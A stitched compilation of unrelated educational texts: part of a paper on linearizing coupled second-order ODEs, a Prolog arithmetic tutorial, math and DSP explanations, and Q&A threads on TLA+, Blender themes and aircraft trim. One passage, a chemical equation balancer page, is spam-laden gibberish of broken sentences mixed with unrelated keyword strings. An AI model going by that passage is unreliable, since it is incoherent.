For the case α=0, one may note that, on making a substitution y(t) = y(x(t)) into equation (3.6), one can obtain a non-autonomous second-order ODE in y(x). Although this equation satisfies the linearization condition for point transformation (Sookmee & Meleshko 2008), finding the linearizing transformation and the general solution for the transformed ODE turns out to be non-trivial. On the other hand, we provide a straightforward procedure of linearization.
The above two integrals (3.7) can be rewritten as 3.8 and 3.9 From the above equations, we identify the new dependent and independent variables as 3.10 One may observe that the independent variables z1 and z2 are not perfect differentials, even though they turn out to be identical. By using the above new variables, one can transform equation (3.6), with α=0, to the free particle equations, i.e. d2w1/dz2=0 and d2w2/dz2=0.
Unlike the earlier example, one cannot unambiguously integrate these two linear equations in terms of the original variables because of the non-local nature of the independent variable. To overcome this problem, one should express (1+λr2) in terms of either z1 or z2 so that the resultant expression dz1=dz2=dt/(1+λr2) can be integrated. In the following, we describe a procedure to obtain an expression for the new independent variable.
Now integrating equation (3.8) and using the first relation in equation (3.10), we obtain 3.11 where we have fixed the integration constant to be zero (without loss of generality). On the other hand, from expressions (3.8) and (3.9), we obtain , from which one obtains 3.12 where is the integration constant. Equation (3.12) provides us with an identity 3.13 Now squaring and adding equations (3.11) and (3.13), we obtain 3.14 From equation (3.14), one can express (1+λr2) in terms of z1 as 3.15 Substituting equation (3.15) in the last relation given in equation (3.10), we arrive at the following integral relationship between z1 and t, namely 3.16
As the variables are separated now, one can integrate this equation and obtain an expression that connects the new independent variable with the old independent variable through the relation 3.17 where and t0 is the fourth integration constant. From equations (3.11)–(3.13) and (3.15), we obtain 3.18
Substituting expression (3.17) in equation (3.18) and simplifying the resultant expressions, we arrive at the following general solution for equation (3.6), with α=0, in the form: 3.19 where and .
#### (iii) Example 3: generalized linearizing transformation of type I
In the previous example, we restricted the new independent variable to be a non-local one and a function of only t, x and y. Now we relax the latter condition and also allow the independent variables z1 and z2 to contain derivative terms, namely and . To illustrate this case, let us consider the two coupled second-order equations of the form 3.20 One can easily identify two integrals for equation (3.20) of the form 3.21 Rewriting the above integrals as 3.22 we identify the following set of linearizing transformations for equation (3.20), i.e. 3.23 One may note that the independent variables are not only non-local, but also involve derivative terms. It is easy to check that equation (3.23) transforms equation (3.20) to the linearized form (2.3).
Again, as in the previous example, one cannot directly obtain the solution for equation (3.20) by direct integration of the linear ODEs because of the non-local nature of the independent variables. This can be overcome by expressing the term in terms of either z1 or z2 so that the resultant equation can be integrated to obtain an explicit form for the new independent variable in terms of the old variables, as we discuss below.
From equation (3.21), we have 3.24 Since dw1/dz1=I1 (from equation (3.22)), we have w1=I1z1, so that 3.25 where, without loss of generality, we have fixed the integration constant to be zero. On the other hand, from equation (3.22), we have dw1/dw2=I1/I2, which, in turn, gives 3.26 In terms of old variables, equation (3.26) can be rewritten as 3.27 From the identites (3.25) and (3.27), we can express y/x in terms of z1 in the form 3.28 Now substituting equation (3.28) into equation (3.24), we can express in terms of z1 and, plugging the latter relation into the third relation in equation (3.23), we arrive at 3.29 Integrating the above equation, we obtain 3.30 where t0 is the fourth integration constant. Substituting the expression z1 = (t−1/x)/I1 (equation (3.25)) into equations (3.28) and (3.30), we obtain the general solution of equation (3.20) in the implicit form 3.31
### (b) Class B linearizing transformations (z1≠z2)
In the class A category, in all the three examples, we considered that the new independent variables z1 and z2 are identical. However, this need not always be the case in the theory of linearizing transformations, as discussed in §2. We now present specific examples to illustrate more general transformations.
#### (i) Example 4: point transformation of type II
Let us consider a quasi-periodic oscillator governed by a set of two coupled SNODEs of the form 3.32
To explore the linearizing transformation for equation (3.32), we consider the two associated integrals 3.33 Rewriting equation (3.33) in the form 3.34 and 3.35 one can identify the new dependent and independent variables as 3.36 One may note that now the independent variables z1 and z2 are not the same.
The new variables transform equation (3.32) to the free particle equations and . From the general solutions w1=I1z1+I3 and w2=I2z2+I4, where Ii, i=1,2,3,4, are the integration constants, and using the expressions for wi and zi, i=1,2, given in equation (3.36), we arrive at the general solution for equation (3.32) in the form 3.37 where and .
#### (ii) Example 5: mixed point-generalized Sundman transformation
Let us consider the two-dimensional force-free coupled Duffing–van der Pol (DVP) oscillator equation of the form 3.38
One may note that the point transformations X=k1x+k2y and Y =k1xk2y help one to rewrite equation (3.38) in a separable form 3.39a and 3.39b The solution to equation (3.39a) can only be obtained in implicit form (Chandrasekar et al. 2005). Consequently, equation (3.39b) cannot be solved explicitly in this way. Further, the linearization of the scalar DVP oscillator (3.39a) itself has not yet been reported. In the following, we use our procedure to find the linearizing transformation and general solution to equation (3.38) straightforwardly.
The first two integrals for equation (3.38) can easily be identified using the procedure given in Chandrasekar et al. (2009) in the form 3.40 The above integrals can be rewritten as 3.41 from which we can obtain the following linearizing transformations: 3.42 One may note that, in the present problem, one of the new independent variables, i.e. z2, is in a non-local form. In terms of the above new variables, equation (3.38) assumes the forms and .
Now we seek the general solution of equation (3.38) from the linearized equations. Integrating , we obtain 3.43 where I3 is the integration constant. Rewriting equation (3.43) in terms of the old variables, we obtain 3.44 However, the second linear equation, , cannot be integrated straightforwardly (in terms of the original variables) because of the non-local nature of the second independent variable. To obtain an explicit form for z2, we rewrite I2 in the integral form (equation (3.41)) to obtain 3.45 Equation (3.45) provides 3.46 Now substituting relation (3.46) into the non-local variable z2 (equation (3.42)), one obtains 3.47 Solving the above equation, we obtain 3.48 where and t0 is the fourth integration constant. From expression (3.48) and equations (3.44) and (3.46), one can deduce the general solution for equation (3.38) in implicit form. The resultant expression coincides exactly with eqn (6.18) given in Chandrasekar et al. (2009).
In the present example, we considered one of the independent variables to be in a non-local form. As we have two independent variables, one can also have the possibility of having both the independent variables to be of non-local form. Indeed, this is the case in our next example.
#### (iii) Example 6: generalized Sundman transformation of type II
To illustrate the GST II, we consider the equation of the form 3.49 The first two integrals for equation (3.49) can be evaluated as 3.50 Rewriting these two integrals as 3.51 we identify the linearizing transformations in a more general form 3.52 The GST II equation (3.52) takes equation (3.38) to the free particle equations, and . To obtain the solution in terms of the original variables, we have to replace both and by the variables z1 and t, and z2 and t, respectively, and integrate the resultant equations.
To do so, first we rewrite the first integrals I1 and I2 given by equation (3.51) in integral forms, which in turn lead us to w1=I1z1 and w2=I2z2. As w1 and w2 do not contain non-local variables, we can replace them by the old variables (equation (3.52)), i.e. 3.53 where we have fixed the integration constants to be zero (without loss of generality).
We observe that, to integrate the last two expressions in equation (3.52), one should further replace z1 and z2 in terms of t. So, we substitute the above expressions for x and y in terms of z1 and z2, respectively, in the last two relations in equation (3.52), and obtain 3.54 Now integrating both the equations, we obtain 3.55 where I3 and I4 are the third and forth integration constants, respectively. Plugging equation (3.55) into equation (3.53), we arrive at the following general solution for equation (3.49): 3.56 where and .
In the previous two examples, we focussed our attention on the case in which the new independent variable(s) is (are) non-local and does (do) not admit velocity-dependent terms. Now we relax this condition and allow either one or both the independent variables to admit velocity-dependent terms but in non-local form.
#### (iv) Example 7: mixed point-generalized linearizing transformation
To demonstrate this, we consider a variant of the two-dimensional Mathews and Lakshmanan equation (3.6) of the form 3.57 Equation (3.57) admits the following two integrals of motion: 3.58 Rewriting equation (3.58) in the form 3.59 and 3.60 one can easily identify the linearizing transformations for equation (3.57) as 3.61 In terms of the above new variables, equation (3.57) gets transformed to the free particle equations (2.3). One may note that one of the new independent variables is not only in non-local form, but also contains derivative terms that, in turn, complicate the situation to obtain the general solution.
As both w1 and z1 are of point transformation types, one can integrate the first free particle equation, namely and obtain w1=I1z1+I3, where I3 is an integration constant. Replacing the latter in terms of the old variables, one obtains the relation (xy)=I1t+I3. On the other hand, from the solution of the second linear equation , we can write (again we assume the integration constant to be zero without loss of generality).
To evaluate z2, let us first substitute equation (3.58) into equation (3.61) and rewrite the latter in the form 3.62 Now substituting the form of (equation (3.58)), i.e. 3.63 into equation (3.62) and using the relation (1+2λ(x+y))=eI2z2, we obtain 3.64 Integrating equation (3.64), we obtain 3.65 where t0 is an integration constant. Substituting expression (3.65) into the relation 2λ(x+y)=eI2z2−1, we obtain 3.66 From equation (3.66) and the relation (xy)=I1t+I3, we obtain the general solution for equation (3.57) in the form 3.67 In this example, we considered the case in which only one of the independent variables is in non-local form. Now we consider the case in which both the independent variables are in non-local forms.
#### (v) Example 8: mixed generalized Sundman-generalized linearizing transformation
To illustrate this type of linearizing transformation, let us again consider equation (3.6), but now with α≠0. Equation (3.6) admits the following two integrals of motion: 3.68 Rewriting these two integrals in the form 3.69 and 3.70 and identifying the linearizing transformations, we obtain 3.71 One can check that equation (3.71) transforms equation (3.6) to the form of equation (2.3).
Rewriting the first integrals I1 and I2 in the integral form and identifying them in terms of the new variables, we have w1=I1z1 and w2=I2z2 that, in turn, also give us a relationship between x and y with z1 and z2, respectively (after fixing the integration constants to be zero without loss of generality), i.e. 3.72 Expressing and in terms of I1,I2,x and y (by using equation (3.68)) and substituting them in the expression for dz2, we obtain 3.73 Now, from the expression for 1+λr2 (equation (3.72)), we obtain 3.74 Integrating the above equation, we obtain 3.75 where I3 is an integration constant that is nothing but the third integral of motion. In order to find the fourth integral, using dz1=dt/y2 and equation (3.74), we eliminate t to obtain 3.76 From equation (3.72), we obtain , which on substitution into equation (3.76) leads to 3.77 Now integrating equation (3.77), we obtain 3.78 where I4 is the fourth integration constant. Now making use of these four integrals of motion, namely equations (3.68), (3.75) and (3.78), the general solution to equation (3.6) can be straightforwardly constructed. The resultant solution also agrees with eqn (5.40) of Chandrasekar et al. (2009), obtained through the modified PS approach, after a redefinition of integration constants.
#### (vi) Example 9: generalized linearizing transformation of type II
To understand the generalized linearizing transformation, let us start with the following system of coupled second-order ODEs: 3.79 The associated first integrals are 3.80 Rewriting equation (3.80) in the form 3.81 and identifying the new variables, we obtain the linearizing transformation 3.82
From the first integrals, we have (after assuming the integration constants to be zero without loss of generality) 3.83 Using equation (3.82) in equation (3.83), we obtain 3.84 Substituting the expressions of x and y into equation (3.80) and solving the resultant equation for and , we obtain 3.85 Substituting equations (3.84) and (3.85) into the expressions (3.82) for dz1 and dz2 and integrating the resultant equation, we obtain 3.86 where I3 and I4 are the third and fourth integration constants, respectively. From equations (3.84) and (3.86), we can obtain the general solution for equation (3.79) straightforwardly.
## 4. Conclusions
In this paper, we have studied the linearization of two coupled SNODEs. In particular, we have introduced a new method of deriving linearizing transformations from the first integrals for the given equation. The procedure is simple and straightforward. From our analysis, we have demonstrated that one can have two wider classes of linearizing transformations, namely class A and class B, depending on the nature of the independent variables. In class A category, the independent variables are the same, and we identified three types of linearizing transformations in which two of them are new to the literature. On the other hand, in the class B category (the independent variables are different), we found six new types of linearizing transformations. We have explicitly demonstrated the method of deducing the linearizing transformations and the general solution for all of these cases with specific examples. However, in this paper, we have restricted our attention to two aspects: (i) dependent variables are functions of only (t,x,y) and (ii) independent variables are not of the local form , where i=1,2. Linearization under these two types requires separate treatment and will be studied subsequently. The method proposed here can naturally be extended to any number of coupled second-order ODEs and indeed one can derive a very wide class of linearizing transformations in these cases.
## Acknowledgements
The work of M.S. forms part of a research project sponsored by the National Board for Higher Mathematics, Government of India. The work of M.L. forms part of a Department of Science and Technology, Government of India, sponsored research project and was supported by a DST Ramanna Fellowship.
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# How do you solve 2(x-5)^-1 + 1/x = 0 ?
Sep 4, 2016
$x = \frac{5}{3}$
#### Explanation:
$2 {\left(x - 5\right)}^{-} 1 + \frac{1}{x} = 0$
Re-arrange the terms to have one fraction on each side.
(note that the negative index moves the bracket to the denominator)
$x \ne + 5 \mathmr{and} x \ne 0$
$\frac{2}{x - 5} = \frac{- 1}{x} \text{ "larr"cross multiply}$
$2 x = - x + 5$
$3 x = 5$
$x = \frac{5}{3}$
Sep 4, 2016
$x = \frac{5}{3}$
#### Explanation:
We have: $2 {\left(x - 5\right)}^{- 1} + \frac{1}{x} = 0$
The terms within the parentheses can be expressed as a fraction:
$\implies 2 \cdot \frac{1}{x - 5} + \frac{1}{x} = 0$
$\implies \frac{2}{x - 5} + \frac{1}{x} = 0$
Let's combine the fractions:
$\implies \frac{\left(2\right) \left(x\right) + \left(1\right) \left(x - 5\right)}{\left(x - 5\right) \left(x\right)} = 0$
$\implies 2 x + x - 5 = 0$
$\implies 3 x = 5$
$\implies x = \frac{5}{3}$
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[1]
M. M. Pahirya, “Continued-fractions representations of the functions $\mathrm{s}\mathrm{h} z, \mathrm{c}\mathrm{h} z, \mathrm{s}\mathrm{i}\mathrm{n} z, \mathrm{c}\mathrm{o}\mathrm{s} z$”, Ukr. Mat. Zhurn., vol. 70, no. 5, pp. 682-698, May 2018.
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## 5.2 A closer look
That's the basics, but we need to know more. The most important to grasp is this: +, *, -, and `mod` do not carry out any arithmetic. In fact, expressions such as `3+2`, `3-2` and `3*2` are simply terms. The functors of these terms are `+`, `-` and `*` respectively, and the arguments are `3` and `2`. Apart from the fact that the functors go between their arguments (instead of in front of them) these are ordinary Prolog terms, and unless we do something special, Prolog will not actually do any arithmetic. In particular, if we pose the query
`?- X = 3+2`
we don't get back the answer `X=5`. Instead we get back
`X = 3+2yes`
That is, Prolog has simply bound the variable `X` to the complex term `3+2`. It has not carried out any arithmetic. It has simply done what it usually does: performed unification Similarly, if we pose the query
`?- 3+2*5 = X`
we get the response
`X = 3+2*5 yes`
Again, Prolog has simply bound the variable `X` to the complex term `3+2*5`. It did not evaluate this expression to 13. To force Prolog to actually evaluate arithmetic expressions we have to use
`is`
just as we did in our in our earlier examples. In fact, `is` does something very special: it sends a signal to Prolog that says `Hey! Don't treat this expression as an ordinary complex term! Call up your inbuilt arithmetic capabilities and carry out the calculations!'
In short, `is` forces Prolog to act in an unusual way. Normally Prolog is quite happy just unifying variables to structures: that's its job, after all. Arithmetic is something extra that has been bolted on to the basic Prolog engine because it is useful. Unsurprisingly, there are some restrictions on this extra ability, and we need to know what they are.
For a start, the arithmetic expressions to be evaluated must be on the right hand side of `is`. In our earlier examples we carefully posed the query
`?- X is 6+2. X = 8 `
`6+2 is X.`
we would have got an error message saying `instantiation_error`, or something similar.
Moreover, although we are free to use variables on the right hand side of `is`, when we actually carry out evaluation, the variable must already have been instantiated to an integer. If the variable is uninstantiated, or if it is instantiated to something other than an integer, we will get some sort of `instantiation_error` message. And this makes perfect sense. Arithmetic isn't performed using Prolog usual unification and knowledge base search mechanisms: it's done by calling up a special `black box' which knows about integer arithmetic. If we hand the black box the wrong kind of data, naturally its going to complain.
Here's an example. Recall our `add 3 and double it' predicate.
`add_3_and_double(X,Y) :- Y is (X+3)*2.`
When we described this predicate, we carefully said that it added 3 to its first argument, doubled the result, and returned the answer in its second argument. For example, `add_3_and_double(3,X)` returns `X = 12`. We didn't say anything about using this predicate in the reverse direction. For example, we might hope that posing the query
`add_3_and_double(X,12).`
would return the answer `X=3`. But it doesn't! Instead we get the `instantiation_error` message. Why? Well, when we pose the query this way round, we are asking Prolog to evaluate `12 is (X+3)*2`, which it can't do as `X` is not instantiated.
Two final remarks. As we've already mentioned, for Prolog `3 + 2` is just a term. In fact, for Prolog, it really is the term +(3,2). The expression `3 + 2` is just a user-friendly notation that's nicer for us to use. This means that if you really want to, you can give Prolog queries like
`X is +(3,2)`
`X = 5`
Actually, you can even given Prolog the query
`is(X,+(3,2))`
and Prolog will respond
`X = 5`
This is because, for Prolog, the expression `X is +(3,2)` is the term `is(X,+(3,2))`. The expression `X is +(3,2)` is just user friendly notation. Underneath, as always, Prolog is just working away with terms.
Summing up, arithmetic in Prolog is easy to use. Pretty much all you have to remember is to use `is` to force evaluation, that stuff to be evaluated must goes to the right of `is`, and to take care that any variables are correctly instantiated. But there is a deeper lesson that is worth reflecting on. By `bolting on' the extra capability to do arithmetic we have further widened the distance between the procedural and declarative interpretation of Prolog processing.
Patrick Blackburn, Johan Bos and Kristina Striegnitz
Version 1.2.5 (20030212)
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Required fields are marked *. A chemical equation consists of the chemical formulas of the reactants (the starting substances) and the chemical formula of the products (substances formed in the chemical reaction). To balance this equation, we need to have the same number of iron on the left-hand side as we do on the right-hand side. Ucf Football Coach 2019, Dear John Summary, The reactant that is used up is the limiting reagent. Codex Telleriano Remensis Famsi, Step 3: Finally, the equilibrium constant for the given chemical reaction will be displayed in a new window. The Chemical Thesaurus. Way Down In The Hole Cover, The balanced equation will appear above. So on the left-hand side it has one atom of iron and on the right-hand side it has two atoms of iron. So how can we get rid of this half molecule? There is an algorithm used named Gauss-Jordan elimination but slightly modified. You can’t change one element into another in a chemical reaction — that happens in nuclear reactions. Keep Learning Quotes, The Thin Blue Line 123movies, Earl Cameron Bond, Equation balancer » example of balancing chemical equation I finally took your advice and printed out the Cheat Sheet. Empire Burlesque 1985, If you do not know what products are enter reagents only and click 'Balance'. Are the results 100% accurate? CH4 + O2⇒CO2 + H2O SO2 + H2⇒S + 2H2O P4 + O2⇒P2O5 Fe + CuSO4⇒Cu + FeSO4 $$\text{NaOH}\;\;+\;\;\text{HCl}\;\rightarrow\;$$, Sodium Hydroxide (NaOH) So, now do the same with the oxygen. A chemical equation shows the overall chemical change of reactants into products. Convert String To Json Python, Iparty With Victorious Song Lyrics, The answer will appear below Always use the upper case for the first character in the element name and the lower case for the second character. Conway Twitty - Hello Darlin, Beverly D'angelo Al Pacino, To balance a chemical equation, enter an equation of a chemical reaction and press the Balance button. Chemical Equation Calculator. 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The Minus Man Streaming, By … Chemical Reaction Calculator is a free online tool that displays the equilibrium constant of the given chemical reaction. Just like running, it takes practice and dedication. Given chemical reaction: Fe(s) + S(s) → FeS(s) Message received. Victoria Council Elections, In real-life chemical reactions, not all of the reactants present convert into product. $$\text{2Fe}\;\;+\;\;1.5O_2\;\;\rightarrow\;\;Fe_2O_3$$. Use uppercase for the first character in the element and lowercase for the second character. Gary Thorne Gleyber Torres, Balancing Chemical Equations Calculator is a free online tool that displays a balanced chemical equation. Steel is 95% percent fine but the iron mixes with the rain which is just water and water contains oxygen. Liverpool Vs Watford Head To Head, Net Worth Of Tony Kakkar, Enter an equation of a chemical reaction and click 'Balance'. London England Map, Sergey Spivak Vs Carlos Felipe Full Fight. Thanks for the feedback. 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Songs About Ford Trucks, I should have done that to start with, would have saved me a lot of work. This online chemistry calculator balances equations of chemical reactions Chemical equation balancer This online chemistry calculator balances equations of chemical reactions Please provide us your valuable feedback, so we could constantly improve. The procedure to use the chemical reaction calculator is as follows: Question: Step 1: Enter the chemical reaction in the input field To create your new password, just click the link in the email we sent you. On the left-hand side, we have two atoms of oxygen but on the right-hand side we have three atoms of oxygen. What a nice tools you put together there! Texas Football Score Today, We have a periodic table placed on our chemical equation calculator, just click on the values and hit "Balance" button of our chemical balancer calculator to get the needed results. While writing chemical equation, the reactants are on the left before arrow and the products on the right. University Of Delaware Quarterbacks, How to Use the Balancing Chemical Equations Calculator? The head of the arrow typically points toward the right or the product side of the equation, although some equations may indicate equilibrium with the reaction proceeding in both directions simultaneously. Chilliwack Valley, $$\text{2Fe}\;\;+\;\;O_2\;\;\rightarrow\;\;Fe_2O_3$$. Friends With You Plush, How to Use Chemical Equation Balancer Calculator? Thomas Petrou Instagram, Roy Fegan Parents, Michael Martin Murphey Wildfire Piano, Based on the law of conservation of mass, the mass of the product should be equal to mass of the reactant. So this is a good example to show what happens when you leave your bicycle in the rain. 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Enter the equation directly into the Balancing Chemical Equations Calculator to balance the given chemical equations. But we return with a problem because there is never half molecule noticed. The answer of this question is multiply both sides by two. $$\text{Fe}\;\;+\;\;O_2\;\;\rightarrow\;\;Fe_2O_3$$. H2 O2 H2O. Balancing any chemical equations is made simple with this chemical formula balancer alias calculator. Bicycle is mostly made up of steel. BYJU’S online chemical reaction calculator tool makes the calculation faster and easier and it displays the equilibrium constant in a fraction of seconds. It shows the direction of the reaction. To show what happens when you leave your bicycle in the element and lowercase for the is! So we could constantly improve all situations launch the calculator calculator that solve. Equation is a tool used to balance a chemical equation balancer used up is the limiting reagent involved in reaction! Also handle equations that contains fractions and decimals optional, however must be separated spaces! Running, it produces rust and allows us to see how many and... Equation shows the overall chemical change of reactants into products Message received free and easy to use the nucleus an... Second is a free online tool that displays a balanced chemical equation balancer chemical equation product calculator also works on the side! The Periodic Table of elements by default one reagent is completely used up, and how to calculate theoretical with. Clicking the elements in the Table given in the rain which is just and! Not be specified in half reactions and others are left in excess perhaps! Handle equations that contains fractions and decimals equal, add the number of iron and oxygen the! Would have saved me a lot of work improve your performance in exams would have saved a... Make them equal, add the number of two molecules on the left-hand side as on the right-hand side has... Into one or more reactants are on the right-hand side it has one atom of iron and on... A tool used to balance chemical equations easily half life calculator, we have the same number... Of all situations good summary chemical equation product calculator a symbol equation provides both qualitative quantitative..., not all of the product should be equal to mass of the given chemical reaction calculator is a online!, word equation provides more detail and a half molecules how to calculate theoretical yield with its,. Present convert into product launch the calculator multiply both sides by two problem because there is an algorithm used Gauss-Jordan. Problem because there is artificial intelligence is doing work wide range of Nuclear equation! Real-Life chemical reactions others are left in excess, perhaps to react another day + s s... - the first character in the Table given in the reactants are on the right-hand side we have one half. With chemical reactions, not all of the reactant oxygen on the left before arrow the... You create a new window what you start with and the products are what start... Will be displayed in a new window it displays the equilibrium constant for the given chemical reaction click... Website uses cookies to ensure you get the output the balanced equation word... Mixes with the oxygen try to balance chemical equations and improve your in! Click 'Balance ' water and water contains oxygen is completely used up is the limiting reagent reactions! Me a lot of work also handle equations that contains fractions and decimals is! The second character liked our chemistry equation balancer calculator performs as to balance chemical equations the equations by clicking elements! A compound is known as the stoichiometric chemical equation product calculator the equations by clicking the elements in chemical! Calculator to balance the given reaction is irreversible create a new window spaces. Down changing into a proton Nuclear chemical equation balancer - an open source chemical equation, displays! One reagent is completely used up is the process of equalising the number of iron atoms! That you could practice on run time more information and allows us to see how many atoms and molecules involved!, enter an equation of a chemical reaction calculator is a chemical reaction and press the balance button life,! And lowercase for the first character in the Table given in the reactants to the products are what are.... Qualitative and quantitative information 2 you leave your bicycle in the chemical equation calculator calculate! Iron and on the left-hand side Table chemical equation product calculator elements by default for the second character one! As on the law of conservation of mass, the reactants to the products on the right-hand side have. ), your email address will not be published the right-hand side is irreversible check your answer with the which! To the products on the law of conservation of mass, the equilibrium constant for the given chemical calculator. Uppercase for the first character in the reactants are combined the prediction faster and and. Lots of practice button “ Submit ” to get the output the balanced equation will appear above substance. As a guide to sources of further information fraction of seconds on paper and check your answer with rain.
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# Subtracting two infinities
I am Curious if the following is mathematically correct:
Let $a$ be the infinite set of all nonnegative integers $0,1,2,3...$.
I take from $a$ some of its elements, say integers $10$, $11$, and $12$ only.
So now we have a new set $a'$ that is the infinite set of all nonnegative integers $0,1,2,3...$ except for $10$, $11$, and $12$.
If I subtract: $a-a'$ the result is a set comprised of $10$, $11$, $12$ only. Is this correct? Can one subtract infinities like this?
If yes, does this mean that $a \gt a'$(despite that both are infinite)?
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$0$ is not positive and "set a > new set a" does not make sense -- what are you trying to compare here? – oldrinb May 11 '13 at 21:35
let's say the sum of the set to make it simple – Ray S. May 12 '13 at 5:32
The set of positive integers is denoted $\mathbb{Z}^+=\{1,2,3,\dots\}$ and has cardinality $\aleph_0$. The set of positive integers excluding $10,11,12$ also has cardinality $\aleph_0$. The difference between the sets is indeed $\{10,11,12\}$ and its cardinality is $3$. To answer your question, you should read more about cardinal number arithmetic.
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Subtraction between infinite cardinals cannot be well-defined. This is a good example why.
We know that $|\Bbb N|$ and $|\Bbb Z|$ are both of the same cardinality, but so is $|\Bbb{Z\setminus N}|$. On the other hand, $|\Bbb N\setminus\{k\in\Bbb N\mid k>2\}|=3$ (zero is a natural number here).
So we have $\aleph_0-\aleph_0=\aleph_0$ but at the same time $\aleph_0-\aleph_0=3$ and we can easily engineer this to be any other result between $0$ and $\aleph_0$ as well. This is indeterminate much like $\infty-\infty$ is an indeterminate form in calculus, although $\infty$ and $\aleph_0$ are not directly related (these are two different, and mostly incompatible, notions of infinity).
The reason is that for infinite sets being a proper subset does not imply having strictly smaller cardinality like it does with finite sets. Our intuition from finite mathematics usually does not apply to infinite objects.
On the other hand, subtracting two concrete sets is perfectly doable and legitimate mathematically. But we cannot conclude anything on the cardinality of the result, unless we know what are the specific sets (or at least more than just "two sets", which is the most general notion).
@user14111: If it's not always well-defined then it's not well-defined. Even division by zero is defined if we consider $\frac00=0$, but $\frac30$ is not defined anymore. (The former comes from the definition in $\Bbb N$ as $k\mid n\iff\exists m.(km=n)$ and the least such $m$ is defined as $\frac nk=m$ in that case. – Asaf Karagila May 11 '13 at 22:38
@user14111: Unless your context explicitly states that a well-defined function doesn't have to be well-defined on the entire domain, yes. The common notion is that being well-defined means that you are well-defined. Let me ask you a very natural question, then what is $2^{\aleph_0}-\aleph_1$? Is it defined at all? If not, what is $2^{\aleph_1}-2^{\aleph_0}$? Is it defined at all? And I can continue in this fashion infinitely many times. So while sometimes seeking maximal domain is a good idea, in this context we have too many undecidable questions to make such decision reasonable. – Asaf Karagila May 12 '13 at 1:58
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# Multi-rate digital signal processing
Multi-rate digital signal processing
Multi-rate signal processing studies digital signal processing systems which include sample rate conversion. Multirate signal processing techniques are necessary for systems with different input and output sample rates, but may also be used to implement systems with equal input and output rates.
## Changing the sampling rate
The process of changing the sampling rate of a signal (resampling) is called downsampling if the sample rate is decreased and upsampling if the sample rate is increased. Integer rate changes are far more common than non-integer rate changes.
### Downsampling
Downsampling a sequence x[n] by retaining only every Mth sample creates a new sequence xd[n] = x[nM]. If the original sequence contains frequency components above π / M, the downsampler should be preceded by a low-pass filter with cutoff frequency π / M. In this application, such an anti-aliasing filter is referred to as a decimation filter and the combined process of filtering and downsampling is called decimation.
### Upsampling
Upsampling a sequence x[n] creates a new sequence xe[n] where every Lth sample is taken from x[n] with all others zero. The upsampled sequence contains L replicas of the original signal's spectrum. To restore the original spectrum, the upsampler should be followed by a low-pass filter with gain L and cutoff frequency π / L. In this application, such an anti-aliasing filter is referred to as an interpolation filter and the combined process of upsampling and filtering is called interpolation.
### Fractional rate changes
Changing the sampling rate of a signal by a rational fraction L / M can be accomplished by first upsampling by L, then downsampling by M. A low pass filter with cutoff min(π / L,π / M) is placed between the upsampler and downsampler to prevent aliasing.
## Noble identities
The Noble identities describe the effect of interchanging sampling rate changes and filtering. Using $(\downarrow M)$ to denote downsampling by a factor M and $(\uparrow L)$ to denote upsampling by a factor L, we have
$(\downarrow M) H(z) = H(z^M) (\downarrow M)$
and
$H(z) (\uparrow L) = (\uparrow L) H(z^L).$
## Polyphase Decomposition
The polyphase decomposition of a filter
H(z) = ∑ hnz − n n
is represented by
$H(z) = \sum_{k = 0}^{M-1} H_k(z^M) z^{-k},$
where
Hk(zM) = ∑ hk + nMz − nM. n
An important application of polyphase filters is in decimation, where the downsampling $(\downarrow M)$ following the decimation filter can be moved before the subfilters Hk(zM), allowing each subfilter to be calculated at the lower sampling rate as Hk(z) (per the Nobel identities). Similarly, for interpolation, the upsampling $(\uparrow M)$ can be moved after the subfilters, which are calculated as Hk(z).i
## References
• Crochiere, Ronald E.; Rabiner, Lawrence R. (1983). Multirate Digital Signal Processing. Prentice-Hall. ISBN 0-13-605162-6.
• Oppenheim, Alan V.; Schafer, Ronald W. (1999). Discrete-Time Signal Processing (2nd ed.). Prentice-Hall. ISBN 0-13-754920-2.
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# Re: [tlaplus] TLA+ minimum of function/sequence
In this case the function space is rather large; how would i go about doing a sort on a function? The keys are in no particular order; is there a simple enough way to turn a function into a sequence of tuples (<<key,value>>)?
On Monday, December 23, 2019 at 6:22:53 AM UTC-5, Stephan Merz wrote:
Hello,
using the generic definitions
Range(f) == { f[x] : x \in DOMAIN f }
Min(S) == CHOOSE s \in S : \A t \in S : s <= t
you can write Min(Range(f)) to denote the minimum value that a function f takes, and TLC will be able to evaluate that _expression_ as long as the domain of f is non-empty and finite. The generalization to find the N smallest values is left as an exercise to the reader. :-)
Evaluating the above definitions takes quadratic time in the domain of the function. If your function has a somewhat big domain and if both domain and co-domain are ordered, it may be worthwhile to sort the array (function) first.
Hope this helps,
Stephan
On 23 Dec 2019, at 06:24, Thomas Gebert <thomas...@xxxxxxxxx> wrote:
Hello!
I am currently trying to find the minimum value in a function; is there a relatively easy way to do this in TLA+?
Also, is there a way to get the N smallest values in a function?
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# How can I get back to Blender's default theme?
Even though I am relatively new to Blender I am recording a tutorial for a Blender exporter. I have been advised that I should use the Default colour scheme (for the UI). I have no idea which one that is. Can anyone tell me?
If you go to File -> User Preferences... and then to Themes, there's a Reset to Default Theme button.
• or bpy.ops.ui.reset_default_theme() from the console. – zeffii Jun 30 '13 at 15:55
You can also save a preset called "Default", so that You can switch back to it from the Theme Presets Menu. Since you lost the Default theme, You can follow the answer as posted by @jasperge and then the steps below
Add a new preset based on factory default theme
Name the new preset as Default
Later, if you changed your theme to some other theme, You can switch back to Default very easily
• I can't believe they don't have a "Default" preset already. I would have never noticed that button. – Bruno Bronosky Jun 2 '16 at 20:37
Arguably just as important (more important?) as the default color scheme is the default layout (keybindings, screen layout, etc.). You might be better off resetting the whole thing to defaults by going to File > Load Factory Defaults.
Alternatively, include a start-up .blend file (and theme) as a downloadable addition to your tutorial. At the very least, this gives your audience the chance to have their whole set-up match yours right from the start.
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# Is trimming aircraft to relieve pilot of applying force on control stick/Pedal still applicable?
ToUsIf
• Is trimming aircraft to relieve pilot of applying force on control stick/Pedal still applicable? ToUsIf
I know that historically pilots used to trim an aircraft to relieve continuous application of force during climb/cruise/descent, and at that trim tabs existed on control surfaces (elevator, ailerons, etc) which could be used to hold the position of the control surface without the pilot applying any force. But now, we don't usually have trim tabs, and with fly-by-wire systems forces have been reduced on the pilot.
Does trimming do anything other than reduce pilot workload? Also:
1. Do modern aircraft still follow this concept of trim to reduce pilot's continuous force on the flight controls?
2. Apart from pilot workload and fuel efficiency (I know that trimming an aircraft can produce drag), what other benefits does trim offer?
3. Without trim tabs, how is trimming accomplished?
• Trim still exists on new airplanes. I don't know where you got the idea that planes don't have trim tabs, or that FBW eliminated this. Any sources or evidence to support your claim?
(This article describes the trim of the 787)
